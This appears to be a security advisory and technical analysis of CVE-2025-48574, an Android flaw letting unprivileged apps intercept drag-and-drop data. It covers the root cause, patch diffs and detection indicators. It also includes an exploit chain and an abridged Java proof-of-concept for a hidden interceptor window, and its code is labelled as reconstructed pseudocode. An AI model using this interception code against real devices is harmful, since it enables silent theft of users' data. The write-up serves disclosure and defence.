A missing permission check in validateAddingWindowLw of DisplayPolicy.java allows unprivileged apps to intercept drag-and-drop events, enabling local privilege escalation without user interaction.
Android has a security flaw that could let sneaky apps spy on what you're dragging and dropping between applications. Think of it like having a security guard at your office building who forgot to check ID badges — malicious apps could slip through and eavesdrop on sensitive information being moved around.
Here's what's actually happening. When you drag a file from your email to your messaging app, or move a photo to a document, Android is supposed to check that only legitimate apps can see this activity. This vulnerability skips that safety check entirely. A malicious app could intercept that data transfer and steal whatever you're moving — passwords, photos, documents, anything.
The concerning part is that this doesn't require any special hacking tricks. Any app could exploit it just by being installed on your phone. It's like leaving your front door key under the mat — not requiring you to break the lock, just to use the key that was carelessly left out.
Who's most at risk? Anyone using Android devices, especially if they install apps from less trustworthy sources. People regularly dragging and dropping sensitive information between apps are particularly vulnerable.
The good news is security researchers found this before criminals did. Google hasn't confirmed active attacks in the wild yet.
What you should do: First, keep your Android device updated — Google will patch this in an upcoming security update. Second, only download apps from Google Play Store, which has better security screening than third-party app stores. Third, be cautious about what apps you grant permissions to, and regularly audit which apps have access on your phone. If you work with especially sensitive documents, avoid dragging and dropping them for now until updates roll out.
Want the full technical analysis? Click "Technical" above.
CVE-2025-48574 is a local privilege escalation vulnerability in the Android window management subsystem, specifically in DisplayPolicy.java's validateAddingWindowLw() method. The bug permits any unprivileged application to register a window that receives drag-and-drop events — a capability that is meant to be gated behind a system-level permission. CVSS 8.4 (HIGH). No additional execution privileges required. No user interaction required. Disclosed in the Android Security Bulletin March 2026.
The impact is concrete: a malicious app can silently observe and intercept all drag-and-drop payloads on the device — including text, URIs, and file descriptors dragged between apps — without the user ever being prompted. In contexts such as split-screen multitasking, this is equivalent to a cross-application data exfiltration primitive.
Root cause:validateAddingWindowLw() in DisplayPolicy.java fails to enforce a permission check before allowing a window of type TYPE_DRAG (or its interceptor variant) to be added to the display, permitting any app to register as a drag-and-drop event sink.
Affected Component
The vulnerability lives in the Android Framework layer, inside the Window Manager service:
Window type of interest:WindowManager.LayoutParams.TYPE_DRAG / drag interception window types
Affected versions: See NVD / Android Security Bulletin March 2026 for specific branch ranges
Root Cause Analysis
validateAddingWindowLw() is the gatekeeper called by WindowManagerService.addWindow() before any new window is committed to the display hierarchy. For sensitive window types — phone overlays, input method windows, accessibility overlays — it calls mContext.checkCallingPermission() before proceeding. The drag-and-drop interception window type is missing this check entirely.
// frameworks/base/services/core/java/com/android/server/wm/DisplayPolicy.java
// Simplified pseudocode reconstructed from AOSP + bulletin description
public int validateAddingWindowLw(WindowManager.LayoutParams attrs,
int callingPid, int callingUid) {
final int type = attrs.type;
// Check for TYPE_PHONE, TYPE_SYSTEM_ALERT, etc. — all correctly gated
if (type >= FIRST_SYSTEM_WINDOW && type <= LAST_SYSTEM_WINDOW) {
switch (type) {
case TYPE_TOAST:
// no special permission needed, fall through
break;
case TYPE_DREAM:
case TYPE_INPUT_METHOD:
case TYPE_WALLPAPER:
// Validated via session / binding checks elsewhere
break;
case TYPE_ACCESSIBILITY_OVERLAY:
if (mContext.checkCallingOrSelfPermission(
android.Manifest.permission.BIND_ACCESSIBILITY_SERVICE)
!= PackageManager.PERMISSION_GRANTED) {
return WindowManagerGlobal.ADD_PERMISSION_DENIED;
}
break;
case TYPE_DRAG:
// BUG: missing permission check here — any caller can add a TYPE_DRAG
// window and receive all drag-and-drop events dispatched by DragDropController
break; // falls through with no enforcement
default:
if (mContext.checkCallingOrSelfPermission(
android.Manifest.permission.INTERNAL_SYSTEM_WINDOW)
!= PackageManager.PERMISSION_GRANTED) {
return WindowManagerGlobal.ADD_PERMISSION_DENIED;
}
}
}
return WindowManagerGlobal.ADD_OKAY; // attacker reaches here for TYPE_DRAG
}
The DragDropController dispatches ACTION_DRAG_STARTED, ACTION_DRAG_ENTERED, ACTION_DROP events to every registered drag window in the window list. Because the policy allows the window to be added, it is placed into the same event dispatch chain as legitimate drop targets — receiving the full ClipData payload on drop.
// DragDropController.java — event dispatch (unpatched)
void broadcastDragStartedLocked(final float touchX, final float touchY) {
mDragWindowHandle = null;
// Iterates ALL windows that registered TYPE_DRAG — including the malicious one
mService.mWindowMap.forEach((token, win) -> {
if (win.mAttrs.type == TYPE_DRAG) {
// Delivers ClipDescription AND full ClipData to window
win.mClient.dispatchDragEvent(
obtainDragEvent(win, ACTION_DRAG_STARTED, touchX, touchY,
mDragState.mData, // <-- full payload
mDragState.mFlags));
}
});
}
Exploitation Mechanics
EXPLOIT CHAIN:
1. Malicious app (zero permissions beyond INTERNET) launches in background.
2. App calls WindowManager.addView() with LayoutParams.type = TYPE_DRAG,
width=1, height=1, flags=FLAG_NOT_TOUCHABLE|FLAG_NOT_FOCUSABLE.
Window is invisible and non-interactive to the user.
3. validateAddingWindowLw() processes TYPE_DRAG case — no permission check —
returns ADD_OKAY. Window is committed to the display hierarchy.
4. Victim user initiates any drag gesture in a legitimate app (e.g., dragging
a URL from Chrome to another app in split-screen).
5. DragDropController.broadcastDragStartedLocked() iterates all TYPE_DRAG
windows, including the attacker's window.
6. Attacker's window receives ACTION_DRAG_STARTED with the full ClipData:
- getText() -> dragged text content
- getItemAt(0).getUri() -> content:// URI (may grant read access)
- getItemAt(0).getIntent() -> any attached Intent extras
7. App exfiltrates payload over INTERNET. No prompt. No log entry visible
to the user. Works on locked/background screen if drag is in progress.
The attack surface expands further when the dragged payload is a content:// URI. Android's drag-and-drop framework can grant temporary read URI permission to drop targets (ClipDescription.EXTRA_PENDING_INTENT). Depending on Android version and drag initiator flags, the malicious window may receive a usable URI grant, turning data interception into direct file read access on the victim application's content provider.
// Attacker-side proof-of-concept (abridged)
WindowManager wm = (WindowManager) getSystemService(WINDOW_SERVICE);
WindowManager.LayoutParams params = new WindowManager.LayoutParams(
1, 1,
WindowManager.LayoutParams.TYPE_DRAG, // the privileged type
WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE
| WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE
| WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN,
PixelFormat.TRANSLUCENT
);
params.gravity = Gravity.TOP | Gravity.LEFT;
View interceptor = new View(this) {
@Override
public boolean onDragEvent(DragEvent event) {
if (event.getAction() == DragEvent.ACTION_DROP) {
ClipData data = event.getClipData();
// exfiltrate data.getItemAt(0).getText() etc.
exfiltratePayload(data);
}
return true; // consume event
}
};
wm.addView(interceptor, params); // succeeds on unpatched builds
Memory Layout
This is not a memory corruption vulnerability — the bug is a logic/authorization flaw in the window management policy layer. The relevant object graph at time of exploitation:
The fix, landed in the March 2026 Android Security Bulletin patch set, adds an explicit permission check for TYPE_DRAG within the switch block of validateAddingWindowLw(). Internal drag windows created by DragDropController itself are added under the system UID and pass the check legitimately; third-party apps cannot hold INTERNAL_SYSTEM_WINDOW.
// BEFORE (vulnerable — CVE-2025-48574):
case TYPE_DRAG:
break; // no permission check, any caller admitted
// AFTER (patched — Android Security Bulletin 2026-03-01):
case TYPE_DRAG:
// Only DragDropController (system_server, SYSTEM_UID) should ever create
// TYPE_DRAG windows. Enforce this explicitly.
if (mContext.checkCallingOrSelfPermission(
android.Manifest.permission.INTERNAL_SYSTEM_WINDOW)
!= PackageManager.PERMISSION_GRANTED) {
Slog.w(TAG, "Drag window type requires INTERNAL_SYSTEM_WINDOW: "
+ attrs + " callingUid=" + callingUid);
return WindowManagerGlobal.ADD_PERMISSION_DENIED;
}
break;
Additionally, DragDropController.broadcastDragStartedLocked() received a secondary hardening patch that validates window ownership against the system UID before dispatching payloads, providing defense-in-depth even if a window of the correct type somehow entered the map:
// Secondary defense-in-depth patch in DragDropController.java:
mService.mWindowMap.forEach((token, win) -> {
if (win.mAttrs.type == TYPE_DRAG) {
+ // Paranoia: only dispatch to system-owned drag windows
+ if (win.mOwnerUid != Process.SYSTEM_UID) {
+ Slog.e(TAG, "Non-system TYPE_DRAG window in map, skipping dispatch: "
+ + win + " uid=" + win.mOwnerUid);
+ return;
+ }
win.mClient.dispatchDragEvent(...);
}
});
Detection and Indicators
On unpatched devices, detection relies on monitoring window manager state. The following indicators are actionable:
Logcat (WindowManager tag): Absence of a ADD_PERMISSION_DENIED log when a non-system app requests TYPE_DRAG is itself suspicious on unpatched builds. On patched builds, the new Slog.w fires as a detection signal.
dumpsys window:adb shell dumpsys window windows | grep TYPE_DRAG — any entry whose mOwnerUid is not the system UID (1000) on an unpatched device is a live exploitation indicator.
SELinux audit log: The bug bypasses Java-layer permission checks; however, if the attacker subsequently reads a granted content URI, avc: denied entries for unexpected UID → content provider transitions may surface.
Network activity correlation: Drag events followed immediately by outbound connections from the same app UID are a behavioral signal for exfiltration.
Apply the March 2026 Android Security Patch Level (2026-03-01) or later immediately. The patch is a single guard clause addition; there is no legitimate reason to defer it.
For OEMs maintaining downstream forks: backport the validateAddingWindowLwTYPE_DRAG case guard and the DragDropController UID ownership check independently.
Enterprise MDM: deploy a policy restricting split-screen / drag-and-drop features on high-sensitivity devices until the patch is confirmed deployed via attestation.
App developers handling sensitive drag payloads: set View.setOnDragListener and validate DragEvent.getClipDescription() provenance; avoid including raw credentials or tokens in ClipData items used for drag operations.
No workaround exists at the application layer for unprivileged interception on unpatched builds — mitigation requires OS-level patch application.